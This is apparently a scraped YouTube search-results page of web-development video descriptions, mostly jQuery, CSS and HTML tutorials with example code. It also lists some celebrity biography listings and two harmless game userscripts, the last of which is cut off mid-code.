Home
Search results “Document body style height”
Difference between window height and document height
 
08:15
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/06/difference-between-window-height-and.html In this video we will discuss 1. Difference between window height and document height 2. How to detect if the user has scrolled to the bottom of the page $(window).height() - Returns height of the browser window i.e browser viewport $(document).height() - Returns height of HTML document $(window).scrollTop() - Returns the current vertical position of the scroll bar What is the difference between window height and document height The window height is what you see (i.e browser viewport), but the document height includes everything below or above the visible area. How to detect if the user has scrolled to the bottom of the page Here is the formula to detect if the user has scrolled to the bottom of the page if (verticalScrollBarPosition == $(document).height() - $(window).height()) { floatingDiv.html('Reached the bottom of the page'); } Why window height and document height are the same in Google chrome Without DOCTYPE tag Chrome reports the same value for both window height and document height. Include the following DOCTYPE declaration <!DOCTYPE html> Example used in the demo <!DOCTYPE html> <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { var floatingDiv = $("#divfloating"); var floatingDivPosition = floatingDiv.position(); $(window).scroll(function () { var scrollPosition = $(window).scrollTop(); if (scrollPosition >= floatingDivPosition.top) { floatingDiv.css({ 'position': 'fixed', 'top': 3 }); } else { floatingDiv.css({ 'position': 'relative', 'top': 0 }); } floatingDiv.html('Window Height = ' + $(window).height() + '<br/>' + 'Document Height = ' + $(document).height() + '<br/>' + 'Vertical Scrollbar Position = ' + scrollPosition ); if (scrollPosition == $(document).height() - $(window).height()) { floatingDiv.html('Reached the bottom of the page'); } }); }); </script> </head> <body style="font-family:Arial;"> <table align="center" border="1" style="border-collapse:collapse"> <tr> <td style="width:500px"> <div> Main Page Content </div> </td> <td style="width:150px; vertical-align:top"> Side panel content <br /><br /> <div id="divfloating" style="background-color:silver; width:150px; height:150px"> Floating Div - Keeps floating as you scroll down the page </div> </td> </tr> </table> </body> </html> In our next video we will discuss how to load data like facebook as you scroll down the page.
Views: 21200 kudvenkat
Full Height and Width "Web App" Style Layout Tutorial
 
15:42
Learn how to position and size elements to utilize the full height and width of the browser window. Check out my "Get a Developer Job" course: https://www.udemy.com/git-a-web-developer-job-mastering-the-modern-workflow/?couponCode=YOUTUBE-HALF-OFF Link to view the example shown in the lesson: http://learnwebcode.com/full-height-and-width-web-app-style-layout/ Have you put together a neat page infused with JavaScript awesomeness and want to move it from your computer to online so the world can see your JS chops? I’ve partnered with A Small Orange and can now offer my students 20% savings on any hosting plan. Hint: the shared “Small” plan is one of the best bangs for your buck around! http://p.asmallorange.com/learnwebcode/specialoffer Sign up for my newsletter to receive periodic webDev tips, tricks, resources and coupons. Join the list at http://learnwebcode.com/ Follow LearnWebCode on Twitter for resources and updates: https://twitter.com/learnwebcode
Views: 21764 LearnWebCode
How To Set body Height To 100% Of Browser Window
 
01:09
Please visit http://www.technomark.in/How-To-Set-Body-Height-To-100-Of-Browser-Window.aspx for more information. How To Set body Height To 100% Of Browser Window, Set body Height To 100% Of Browser Window, body Height To 100% Of Browser Window, body Height To 100% Of Browser, set Body To Its Browser, Make Fit The Body With Browser, Body Is Not Fit Width, Height, body Height To 100%
Views: 622 Admin Technomark
CSS how to: height and width
 
04:14
CSS video tutorial shows how to configure width and height on just about any HTML element. Overflow property to control the control how the content appears when it is too large. Min-width, min-height, max-width, max-height are available to specify a maximum and minimum if the content doesn't make the HTML element as large or small as you want them to be. All these CSS properties are important to control how the appearance or control the flow of your page. http://www.technoblogical.com/web-design/ Providing training since last Tuesday http://www.technoblogical.com Thanks for watching!
Views: 13329 Chris Walker
[Basic Project] BMI Calculator in JavaScript HTML and CSS | Body Mass Index
 
24:51
Welcome, all we will see BMI Calculator in JavaScript With Code. Standard Body Mass Index calculator. ... Body mass index (BMI) is a measure of body fat based on height and weight that applies to adult men and women. Tools I used to record videos 1: Dell Inspiron 15 5570 2018 15.6-inch FHD Laptop (8th Gen Core i3-8130/4GB + 16GB Optane Memory/1TB/Windows 10): https://amzn.to/2DErOoG 2: Wright WR 800 Condenser Microphone with Free USB Sound Card : https://amzn.to/2TjRUmc 3: Wright Wp 101 Pop Filter For Dynamic Condenser Microphone Voice Recording: https://amzn.to/2B67lro 4: AmazonBasics Ventilated Laptop Stand (Black): https://amzn.to/2DDs1Zd 5: Generic NB-35 Professional Recording Microphone Stand: https://amzn.to/2HBDbC1 6: JBL T160 in-Ear Headphones with Mic (Black): https://amzn.to/2HwbJp0 7: AmazonBasics Braided HDMI Cable - 6-Feet: https://amzn.to/2TkCTkc Guys, Please support my channel by SUBSCRIBE to my channel and share my videos in your Social Network TimeLines. Don't Forget to Follow me on all Social Network, Website Link: https://www.thapatechnical.com Instagram Link: https://www.instagram.com/vinodthapa55 Facebook Link: https://www.facebook.com/vinodthapa55 Twitter Link: https://twitter.com/vb55thapa Facebook ThapaTechnical Page Link: https://www.facebook.com/vinodbahadur...
Views: 1558 Thapa Technical
Meet the 6'8, 400-lb World's Strongest Man
 
02:37
Brian Shaw is 6'8 and weighs 400 pounds. He eats a dozen eggs for breakfast. He can lift a car. But he's too wide to sit in an armchair. See what life is like for the World's Strongest Man. SUBSCRIBE: https://goo.gl/vR6Acb #Strong #Male #ToughGuy Follow us behind the scenes on Instagram: http://goo.gl/2KABeX Make our acquaintance on Facebook: http://goo.gl/Vn0XIZ Give us a shout on Twitter: http://goo.gl/sY1GLY Visit our world directly: http://www.greatbigstory.com Great Big Story is a video network dedicated to the untold, overlooked & flat-out amazing. Humans are capable of incredible things & we're here to tell their stories. When a rocket lands in your backyard, you get in.
Views: 14335717 Great Big Story
jQuery scroll event
 
10:17
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/05/jquery-scroll-event.html In this video we will discuss scroll event and how to handle it using jQuery. scroll event is raised when the user scrolls to a different place in the element. It applies to window objects, but also to scrollable frames and elements with the overflow CSS property set to scroll. In the following exampe, notice that the div element overflow style is set to scroll. The div element has a scrollbar and as you scroll up and down the div element, the scroll event is raised and handled. Replace < with LESSTHAN symbol and > with GREATERTHAN symbol <html> <head> <title></title> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('div').scroll(function () { $('h3').css('display', 'inline').fadeOut(1000); }); }); </script> </head> <body style="font-family:Arial"> <div style="width:300px; height:200px; border:1px solid black; overflow:scroll"> PRAGIM Speciality in training arena unlike other training institutions. Training delivered by real time software experts having more than 10 years of experience. Interview questions and real time scenarios discussion on topics covered for the day. Realtime projects discussion relating to the possible interview questions. Trainees can attend training and use lab untill you get a job. Resume preperation and mock up interviews. 100% placement assistance. 24 hours lab facility. PRAGIM Technologies offers professional real time projects for studetns in their final semester. Course completion and project completion certificates will also be provided upon successful completion of the course. We have partnered with major multinational companies to place freshers with our clients on their course completion. </div> <br /> <h3 style="display:none; color:red">Scroll event handled</h3> </body> </html> The following example, keeps track of how many times the scroll event is raised. <html> <head> <title></title> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { var count = 0; $('div').scroll(function () { $('span').text(count += 1); }); }); </script> </head> <body style="font-family:Arial"> <div style="width:300px; height:200px; border:1px solid black; overflow:scroll"> DIV CONTENT </div> <br /> <h3 style="color:red">Scroll event handled <span>0</span> time(s)</h3> </body> </html> The following example, keeps track of whether the user scrolled up or down. <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { var lastScrollTop = 0; $('div').scroll(function () { var currentScrollPosition = $(this).scrollTop(); if (currentScrollPosition > lastScrollTop) { $('h3').text('You scrolled down'); } else { $('h3').text('You scrolled up'); } lastScrollTop = currentScrollPosition; }); }); </script> </head> <body style="font-family:Arial"> <div style="width:300px; height:200px; border:1px solid black; overflow:scroll"> DIV CONTENT </div> <br /> <h3 style="display:inline; color:red"></h3> </body> </html>
Views: 50782 kudvenkat
Height: 100% equals flashy bullshit
 
00:38
I have background-attachment: fixed on a bunch of elements, but if I set the height of a div inside one of these elements to 100%, this bizarro flashing nonsense happens, and once I remove it goes away. What is going on?
Views: 189 Alex Matchneer
How to Change your Jstris Skin and Backgrounds
 
03:24
Music: Auld Lang Syne Techno Remix - https://www.youtube.com/watch?v=74DICV1DZnU Script: https://*.jstris.jezevec10.com/* window.addEventListener('load', function(){ //Jstris Custom Background Image document.head.getElementsByTagName("style")[0].innerHTML=""; document.body.style.backgroundImage="url('https://i.imgur.com/3t6lTZy.jpg')"; document.body.style.backgroundSize="100%"; document.getElementById("app").style.backgroundColor="rgba(0, 0, 0, 0)"; document.getElementById("app").style.height="1000px"; //Jstris Block Skin Change loadSkin("https://i.imgur.com/GPvbGtc.png",32); }); Credits: Hill Background - https://jstris.jezevec10.com/u/Roxie Sesame Street Skin - https://jstris.jezevec10.com/u/THICKBUT Last Skin - Han | Dopamine
Views: 87 Eddie Kim
Increase decrease font size using jquery
 
07:58
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/05/increase-decrease-font-size-using-jquery.html In this video we will discuss how to increase, decrease and reset font size using jQuery Replace < with LESSTHAN symbol and > with GREATERTHAN symbol <html> <head> <style> .divClass { font-size: 16px; background-color: #E3E3E3; width: 500px; padding: 5px; } </style> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#linkIncrease').click(function () { modifyFontSize('increase'); }); $('#linkDecrease').click(function () { modifyFontSize('decrease'); }); $('#linkReset').click(function () { modifyFontSize('reset'); }) function modifyFontSize(flag) { var divElement = $('#divContent'); var currentFontSize = parseInt(divElement.css('font-size')); if (flag == 'increase') currentFontSize += 3; else if (flag == 'decrease') currentFontSize -= 3; else currentFontSize = 16; divElement.css('font-size', currentFontSize); } }); </script> </head> <body style="font-family:Arial"> Font-Size: <a id="linkIncrease" href="#">Increase</a> <a id="linkDecrease" href="#">Decrease</a> <a id="linkReset" href="#">Reset</a> <br /><br /> <div id="divContent" class="divClass"> <b>jQuery Tutorial</b> <ul> <li>What is jQuery</li> <li>What is $(document).ready(function() in jquery</li> <li>Benefits of using CDN</li> <li>#id selector</li> <li>Element Selector</li> <li>class selector</li> <li>attribute selector</li> <li>attribute value selectors</li> <li>case insensitive attribute selector</li> <li>jQuery input vs :input</li> </ul> </div> </body> </html>
Views: 24294 kudvenkat
Aaron Rodgers Biography || Family, Childhood, House, Body, Fashion style, Height, Age, Wiki.
 
10:40
Aaron Rodgers Biography || Family, Childhood, House, Body, Net worth, Fashion style, Height, Weight, Age, Lifestyle, Spouse, Son, Daughter, Hairstyle, Cars, Workout, Wallpapers, Pets, Wiki. Aaron Charles Rodgers is an American football quarterback for the Green Bay Packers of the National Football League. Born: 2 December 1983 (age 33), Chico, California, United States Height: 1.88 m School: University of California, Berkeley Current team: Green Bay Packers (#12 / Quarterback) Siblings: Jordan Rodgers, Luke Rodgers
Views: 166 Net Worth
how to add background image in html
 
04:36
Hey guys, my book CSS Visual Dictionary – https://www.amazon.com/dp/1983065633 Explains all of this with visual 150+ visual diagrams. (For more detail and "Look Inside" on Amazon go there) How to add background image to your HTML page? In this tutorial I'll show you an example source code that changes your background image to anything you want. Just type in a URL address into inline or external CSS like: <body style ="background: url('here.jpg')"> The single quotes around 'here.jpg' are not required, and if your style is already wrapped in double quotes, you cannot use double quotes around "here.jpg" or it will create an error. Here are a few keyword phrases that might help get this tutorial found on YouTube search. Thanks for watching! html background image tutorial html background image full screen html background image no repeat html background image no size html background image tutorial using notepad html background image tutorial resize html how to add background image to html body inserting background image in html how to fit background image in html adding background image in html
Views: 149577 JavaScript Teacher
How to Always Keep the Footer at the Bottom of A Page | Learn HTML and CSS | HTML Tutorial
 
10:01
How to Always Keep the Footer at the Bottom of A Page | Learn HTML and CSS | HTML Tutorial. In this lesson we will learn how to keep the footer at the bottom of our page. Meaning that we don't want the footer to go above the height of our browser, when we don't have a lot of content on our pages. -- mmtuts is a YouTube channel that focuses on teaching beginner and advanced courses in various multimedia related skills. We plan to make tutorials available on programming, video production, animation, graphic design, and on software such as the Adobe Creative Cloud programs. HTML and CSS for beginners is a how to series that teaches the HTML and CSS coding language to people who are just starting out learning programming. The course teaches how HTML and CSS can be made easy and teaches "front-end development" which is the visual part of websites. Creating static websites with HTML and CSS is easy and should not be seen as otherwise, which is why we want to explain the language in a easy to understand way for beginners. If you have suggestions on new courses, or specific lessons within existing courses you would like to see, then feel welcome to submit them in the comment section or in a private message. ALL suggestions will be seen, but not all will be replied to since we get quite a few every day.
Views: 81783 mmtuts
Image gallery with thumbnails in JavaScript
 
13:13
Link for all dot net and sql server video tutorial playlists http://www.youtube.com/user/kudvenkat/playlists Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/01/image-gallery-with-thumbnails-in.html In this video we will discuss creating image gallery with thumbnails in JavaScript. When you click on the image thumnail, the respective image should be displayed in the main section of the page. For the purpose of this demo we will be using the images that can be found on any windows machine at the following path. C:\Users\Public\Pictures\Sample Pictures Step 1 : Open Visual Studio and create a new empty asp.net web application project. Name it Demo. Step 2 : Right click on the Project Name in Solution Explorer in Visual Studio and create a new folder with name = Images. Step 3 : Copy images from C:\Users\Public\Pictures\Sample Pictures to Images folder in your project. Step 4 : Right click on the Project Name in Solution Explorer in Visual Studio and add a new HTML Page. It should automatically add HTMLPage1.htm. Step 5 : Copy and paste the following HTML and JavaScript code in HTMLPage1.htm page. [html] [head] [style type="text/css"] .imgStyle { width:100px; height:100px; border:3px solid grey; } [/style] [/head] [body] [img id="mainImage" height="500px" width="540x" src="/Images/Hydrangeas.jpg" style="border:3px solid grey"/] [br /] [div id="divId" onclick="changeImageOnClick(event)"] [img class="imgStyle" src="/Images/Hydrangeas.jpg" /] [img class="imgStyle" src="/Images/Jellyfish.jpg" /] [img class="imgStyle" src="/Images/Koala.jpg" /] [img class="imgStyle" src="/Images/Penguins.jpg" /] [img class="imgStyle" src="/Images/Tulips.jpg" /] [/div] [script type="text/javascript"] var images = document.getElementById("divId").getElementsByTagName("img"); for (var i = 0; i [ images.length; i++) { images[i].onmouseover = function () { this.style.cursor = 'hand'; this.style.borderColor = 'red'; } images[i].onmouseout = function () { this.style.cursor = 'pointer'; this.style.borderColor = 'grey'; } } function changeImageOnClick(event) { event = event || window.event; var targetElement = event.target || event.srcElement; if(targetElement.tagName == "IMG") { mainImage.src = targetElement.getAttribute("src"); } } [/script] [/body] [/html] Finally run the application and test it.
Views: 64915 kudvenkat
jquery animate function
 
12:26
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/05/jquery-animate-function.html jQuery animate function let's us animate CSS properties. The following example animates the div element, while changing the font-size property of the div element from its initial size to 50 pixels over a period of 2000 milli-seconds (2 seconds). <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#myButton').click(function () { $('#myDiv').animate({ 'font-size': '50' }, 2000); }); }); </script> </head> <body style="font-family:Arial"> <input type="button" id="myButton" value="Animate" /> <br /><br /> <div id="myDiv"> jQuery animate function </div> </body> </html> Syntax of jquery animate function .animate( properties [, duration ] [, easing ] [, complete ] ) Animate function has 4 parameters. Only the first parameter (properties) is the required parameter. Rest 3 are optional. properties - An object of CSS properties and values duration - The duration for animation in milliseconds. Default is 400. easing - Easing function to use for the transition. Default is swing. You could also use linear. complete - A function to call once the animation is complete What is jQuery easing Easing is a technique where the speed and/or direction of animation are changed while the animation is in progress. Easing can make the animation start off slow and gradually speed up, start up fast and gradually slow down, and a whole host of other effects. The difference between linear and swing easing is very subtle. The following page shows all the easings provided by jQuery UI https://jqueryui.com/easing The following example increases the height and width of the image to 400 pixels on mouseover. On mouseout the height and width are reduced to 100 pixels. <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#myImage').on({ mouseover: function () { $(this).animate({ 'height': 400, 'width': 400, }, 3000); }, mouseout: function () { $(this).animate({ 'height': 100, 'width': 100, }, 3000); } }); }); </script> </head> <body style="font-family:Arial"> <img id="myImage" height="100" width="100" src="/Images/Tulips.jpg" /> </body> </html> In the following example, several calls to animate() method are chained together. By default these calls are placed into a queue to be executed one after the other in series rather than executing all of them simultaneously in parallel. <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { $('#myImage').click(function () { $(this) .animate({ 'left': '300' }) .animate({ 'top': '200' }) .animate({ 'left': '10' }) .animate({ 'top': '10' }); }); }); </script> </head> <body style="font-family:Arial"> <img id="myImage" height="100" width="100" style="position:absolute" src="/Images/Tulips.jpg" /> </body> </html> Please note: By default, all HTML elements have a static position, and cannot be moved. To modify the position , set the CSS position property of the element to fixed, absolute or relative.
Views: 42148 kudvenkat
Jigyasa Singh Wiki Height Age, Bio, Dob, Husband, Body size, Family Photo,
 
05:20
Jigyasa Singh Wiki Height Age, Bio, Dob, Husband, Body size, Family Photo, Jigyasa Singh Wiki Height Age Jigyasa Singh Height Weight Age Wiki, Date of Birth, Biography, Husband, Real Family Photos, Actress Jigyasa Singh Profile Details: Jigyasa Singh Height Weight Age Wiki new update, She is a gorgeous hot sizzling actress Real life Jigyasa Singh age Biography Wiki Height, Body Measurements, Affairs, family details are also given information Family, Modeling & Photoshoot Details you will be found here. Jigyasa Singh is a very nice and Beautiful & most popular in Indian, Jigyasa Singh Wiki Height Age acting in Bollywood Film. Jigyasa Singh Wiki Height Age, Bio, Dob, Husband, Body size, Family Photo, Just Click See New Celebrity: Divya Dutta Biography and Family photos. Jigyasa Singh Wiki Height Age, Bio, Dob, Husband, Body size, Family Photo Introduction Name Jigyasa Singh Real Name Jigyasa Singh Other New Names Jigyasa Occupation Actress,TV Serial Age 23 Years Date Of Birth 1994 Jigyasa Singh Biography Birth Place Jaipur, Rajasthan Hometown Jaipur, Rajasthan Residence Jaipur, Rajasthan Ethnicity Indian Zodiac Sign /Sun Sign N/A Religion Hindu Cast N/A Years Active N/A Education Career School Name St. Anselm’s Pink City Sr. Sec. School, Jaipur, Rajasthan College Name ICG – International College for Girls, Rajasthan University Education Qualification Graduate (Mass communication) Jigyasa Singh Family Mother N/A Father N/A Brother N/A Sister N/A Husband N/A Son N/A Daughter N/A Jigyasa Singh Hobbies & Favorite Things Hobbies Dancing, Singing Favorite Director N/A Favorite Actors Ranbir Kapoor Favorite Actress N/A Favorite Movies 3 Idiots (2009) Favorite Book N/A Favorite Food Pao Bhaji, Sea Food, Chinese cuisines Favorite Color N/A Favorite Destination N/A Jigyasa Singh Body Color Info Eye color Black Hair Color Black Jigyasa Singh Height And Weight Height In Feet Inches= 5′ 1″ In Centimeters= 155 cm In Meters= 1.55 m Weight In Pounds = 119 lbs In Kilograms = 54 Kg Jigyasa Singh Body Measurement Bra Size (Breast) In Inches = 32B Waist In Inches = 26 Inches Hip’s In Inches = 32 Inches Dress Size 4 (US) Feet/Shoe Size 8 (US) Jigyasa Singh Marital Status & Affairs & friends Marital Status Unmarried Husband N/A Boyfriends Ankit Bathla (actor) Debut Movies Telugu Debut Movie N/A Telugu TV Debut Movie N/A Tamil Debut Movies N/A Kanna Debut Movie N/A Hindi TV Debut Movie Chore Tera Gaon Bada Pyaara (2014) Income Information Income Source N/A Salary N/A Net worth N/A Jigyasa Singh Social Share & Mobile & Address Address N/A Mobile Number and WhatsApp N/A Name Facebook Facebook.com/ Twitter Twitter.com/ Instagram Instagram.com/ Google plus N/A Youtube N/A Internet Movie Database N/A Wikipedia Wikipedia.org/ Official N/A FactsTadyFilm, ease Subscribe This Channel:http://www.youtube.com/c/Factstadyfilm Turn On Notification Bell Don't Miss Updates! Credit Pics This Site Owner; http://www.photoshotohlikes.info/jigyasa-singh-wiki-height-age-bio-dob-husband-body-size-family-photo Subscribe This Channel https://www.youtube.com/channel/UCVe8MzA0yq3rCws9XL7QONA https://web.facebook.com/groups/675481785966422/? https://plus.google.com/+FactsTadyFilm https://twitter.com/asadali205761 FactsTadyfilm Music Provided by NoCopyrightSounds NCS * If You Like This Video Then Please * LIKE, COMMENT, SHARE & SUBSCRIBE This Channel Other Awesome Videos For You:- 9 Things We Learned From Serena Williams and Alexis Ohanian’s Love Story https://www.youtube.com/watch?v=1Mh-9AM0mzc One man, four wives The new hit reality TV show https://www.youtube.com/edit?o=U&video_id=dGGF3iMj5Os Nawaz Sharif house rewind https://www.youtube.com/watch?v=2ixPJtArhjA Nia Sharma Age, Height, Weight, Husband, Marriage, Family And Wiki https://www.youtube.com/watch?v=DjnKvjypThc Deepika Das Age, Height, Wiki, Biography, Husband, Family, Affair https://www.youtube.com/watch?v=l44Op6rAUc4 Nidhi Razdan Age, Height, Wiki, Biography, Husband, Family, Affair. https://www.youtube.com/watch?v=akXzyyky4Ns Adaa Khan Height, Weight, Age, Husband, Affairs & More HD https://www.youtube.com/watch?v=cuTwjlOpSNw Sriti Jha Age, Height, Weight, Husband, Family, Wiki and Biography HD https://www.youtube.com/watch?v=f0hv0F8Ls1s THE WOMEN OF TWO AND A HALF MEN: THEN AND NOW HD https://www.youtube.com/watch?v=gwucveT9sjQ Ritika Singh Age, Height, Weight, Family, Husband, Wiki and Biography HD https://www.youtube.com/watch?v=ebMVWUhn8y8 Urmila Matondkar Age, Figure, Height, Sister, Husband, Without Makeup and Bio HD https://www.youtube.com/watch?v=449qp8P59Co Sheen Dass Age, Height, Wiki, Biography, Boyfriend, Family.FactsTadyFilm HD https://www.youtube.com/watch?v=DJYpjkUPDUk Rimi Sen Height, Weight, Age, Affairs, Husband, Biography & More HD https://www.youtube.com/watch?v=2UF-OdA0LEE Tabu Height, Weight, Age, Affairs, Family & More HD https://www.youtube.com/watch?v=FwVYsb-zUOM
Views: 16731 FactsTady Film
How to Make a Full Screen Landing Page (HTML & CSS)
 
14:06
Nicolai Andersen wants to know how to make a full screen landing page. We can do that :) It's easy with just a little html and css. Checkit on Codepen - http://codepen.io/devtips/pen/XJByvr/ Join the DevTips Community on Patreon! https://www.patreon.com/DevTips
Views: 268056 DevTips
HTML & CSS Tutorial: Width, Height, Position and Float -09
 
26:33
HTML HOME HTML Introduction HTML Editors HTML Basic HTML Elements HTML Attributes HTML Headings HTML Paragraphs HTML Styles HTML Formatting HTML Quotations HTML Comments HTML Colors HTML CSS HTML Links HTML Images HTML Tables HTML Lists HTML Blocks HTML Classes HTML Iframes . Tip: Always specify both the height and width attributes for images. If height and width are set, the space required for the image is reserved when the page is loaded. However, without these attributes, the browser does not know the size of the image, and cannot reserve the appropriate space to it. The effect will be that the . The CSS float property specifies how an element should float. The CSS clear property specifies what elements can float beside the cleared element and on which side. ... The following example specifies that an image should float to the left in a text: absolute. absolute is the trickiest position value. absolute behaves like fixed except relative to the nearest positioned ancestor instead of relative to the viewport. If an absolutely-positioned element has no positioned ancestors, it uses the document body, and still moves along with page scrolling.
Views: 18 ithelpbd
Centering with CSS
 
18:56
I show you 4 ways to center crap with CSS! Woo! Center a div with css. Center an image with css. Center your mom with valium. CSS Basics Series - https://www.youtube.com/playlist?list=PLqGj3iMvMa4IOmy04kDxh_hqODMqoeeCy Late Nights with Trav and Los Podcast - http://travandlos.com/ Subscribe on iTunes - https://itunes.apple.com/us/podcast/late-nights-with-trav-and-los/id944869246?mt=2 Sign up for my newsletter - http://travisneilson.com/ --- Thanks and credit to these artists, whos work I featured in this video - Tristen Grant https://www.youtube.com/user/tristengrant - Imad Eddine Toubal https://www.youtube.com/watch?v=Tfc-p-RY55o - Celeste Boadas http://www.celesteboadas.me/ - Rafael Bucker http://bucker.com.br/33110/331348/projetos/impresso-no-brasil
Views: 224024 DevTips
jquery floating div
 
13:36
Link for all dot net and sql server video tutorial playlists https://www.youtube.com/user/kudvenkat/playlists?sort=dd&view=1 Link for slides, code samples and text version of the video http://csharp-video-tutorials.blogspot.com/2015/05/jquery-floating-div.html In this video we will discuss, how to create floating div using jQuery. We want the div element in the sidebar to be floating and always visible as we scroll down the page. Example : In this example we are using position() and scrollTop() functions. The object returned by position() function has top and left properties, which can be used to know the current top and left positions (coordinates). We are using this function to find the top position of the div element that we want to keep floating as we scroll down. To get the current vertical position of the scroll bar, we are using scrollTop() function. As we scroll and when the current vertical position of the scroll bar becomes GREATER THAN the top position of the div element, then we want the div element to start floating. To do this set position style to fixed. A fixed position element is positioned relative to the browser window. So as you scroll down it will be floating in the browser window. If the current vertical position of the scroll bar becomes LESS THAN the top position of the div element, then we don't want the div element to float, so we set position style to relative. A relative position element is positioned relative to itself. So if you set position to relative and top to 0, it will continue to stay where it is without floating. <html> <head> <script src="jquery-1.11.2.js"></script> <script type="text/javascript"> $(document).ready(function () { var floatingDiv = $("#divfloating"); var floatingDivPosition = floatingDiv.position(); $(window).scroll(function () { var scrollPosition = $(window).scrollTop(); if (scrollPosition >= floatingDivPosition.top) { floatingDiv.css({ 'position': 'fixed', 'top' : 3 }); } else { floatingDiv.css({ 'position': 'relative', 'top' : 0 }); } }); }); </script> </head> <body style="font-family:Arial;"> <table align="center" border="1" style="border-collapse:collapse"> <tr> <td style="width:500px"> Main Page Content </td> <td style="width:150px; vertical-align:top"> Side panel content <br /><br /> <div id="divfloating" style="background-color:silver; width:150px; height:150px"> Floating Div - Keeps floating as you scroll down the page </div> </td> </tr> </table> </body> </html>
Views: 32034 kudvenkat
How to style the body tag and apply a background in HTML
 
02:43
style your body tag via CSS. Never suffer distorted background images again by learning how to properly use a background image via the ‘background-image’ and ‘background-size’ CSS rules. You’re also going to see exactly how to set font colors via the ‘color’ rule, font sizes via the ‘font-size’ rule, and text line spacing via the ‘line-height’ rule. Want to check out the full course? Go to www.hackstack.io for this and many others bite-sized tutorials that will help you do more, faster, with less.
Views: 1006 HackStack.io
JavaScript Tutorial -scroll event, pageXOffset, pageYOffset, scrollX and scrollY
 
03:20
Facebook page: https://www.facebook.com/pages/WebTunings/339234242822202 Recommended JavaScript Book: http://www.amazon.com/gp/product/0596805527/ref=as_li_qf_sp_asin_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=0596805527&linkCode=as2&tag=webtuningscom-20 Code snippets: https://github.com/webtunings
Views: 10320 WebTunings
HTML 5 Tutorial
 
01:12:33
Get Cheat Sheet Here : http://goo.gl/ifP3Fv Best Book on HTML5 : http://goo.gl/D6zPXE Support Me on Patreon : https://www.patreon.com/derekbanas Everything you can do with HTML 5 and provide numerous examples using CSS, JavaScript and PHP. 00:32 DOCTYPE HTML URL 01:52 HEAD META CHARSET REDIRECT 03:14 DESCRIPTION KEYWORDS ROBOTS 04:45 SCRIPT BASE LINK STYLESHEET 05:45 ICONS TITLE 06:42 VALIDATE HTML5 07:15 BODY ONLOAD DIV WRAPPER 08:16 NOSCRIPT H1 P BR HR 09:23 BLOCKQUOTE CITE Q 10:14 PRE CODE 11:21 JavaScript : onclick getElementsByTagName innerHTML HexCode 13:44 IMG ID SRC ALT WIDTH HEIGHT 14:36 B STRONG EM I 15:10 SMALL INS DEL SAMP 15:30 ABBR TITLE DFN KBD 16:49 Character Entities 17:35 SUP SUB BDO RUBY RT 18:29 LINKS A HREF 19:01 Link Active States CSS 20:06 CSS background IDs margin 21:12 Linking within Page 22:43 mailto 23:04 JavaScript : Execute onclick toggle visibility 24:53 Making Image Maps with GIMP 27:15 OBJECT DATA TYPE PARAM Embedding 28:50 Everything you can embed 29:11 IFRAME 29:32 EMBED Flash Plugins 30:05 AUDIO 30:36 VIDEO 30:55 HEADER 31:42 NAV Navigation 32:02 MAIN SECTION ARTICLE ASIDE 33:55 ORDERED & UNORDERED LISTS OL UL 35:36 CSS : float display padding # text-decoration 38:09 DEFINITION LISTS DL DD DT 39:19 list-style-type for lists 39:56 ORDERED LIST TYPES 40:58 TABLES : caption thead tr td colspan tfoot tbody 43:51 FOOTER ADDRESS SMALL 44:38 FORMS & PHP GET POST 45:10 Processing Forms with PHP 45:44 INPUT TAGS 47:51 TEXTAREA 48:29 FIELDSET LEGEND 48:49 CHECKBOX 49:18 RADIO BUTTONS 49:55 SELECT BOX OPTION OPTGROUP 51:02 HIDDEN 51:20 UPLOAD FILES 51:37 IMAGE BUTTON 51:59 CANVAS & JavaScript 1:05:14 JavaScript : geoLocation & localStorage
Views: 654907 Derek Banas
Another Weird Diep Script
 
01:44
Nothing much I can say here. It's a diep script that does weird things. THE SCRIPT: // ==UserScript== // @name diep on drugs // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author adasba // @match http://*/* // @grant none // @run-at document-idle // ==/UserScript== (function() { 'use strict'; //setTimeout(function() { var shaderButton = document.createElement('button'); document.getElementsByTagName('body')[0].appendChild(shaderButton); shaderButton.style = "position:absolute; top:10px; left:10px;"; shaderButton.innerHTML = "Turn on the shader or something lol"; shaderButton.onclick = function() {input.set_convar('ren_background', false);} var c = document.getElementById('canvas'); var ctx = c.getContext('2d'); c.style.opacity = 0; var c2 = document.createElement('canvas'); c2.style = "position:absolute;top:0px;left:0px;width:100%;height:100%;z-index:-1;"; document.getElementsByTagName('body')[0].appendChild(c2); var ctx2 = c2.getContext('2d'); var c3 = document.createElement('canvas'); var ctx3 = c3.getContext('2d'); var i = 0; var depth = 6; c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; window.addEventListener('resize', function() { c2.width = c.width; c2.height = c.height; c3.width = c.width; c3.height = c.height; }, false); var li = 0; function loop() { li++; ctx3.clearRect(0, 0, c3.width, c3.height); ctx3.drawImage(c, 0, 0, c3.width, c3.height); ctx3.globalCompositeOperation = "source-in"; ctx3.fillStyle = "hsla(" + li + ", 100%, 50%, 1)"; ctx3.fillRect(0, 0, c2.width, c2.height); 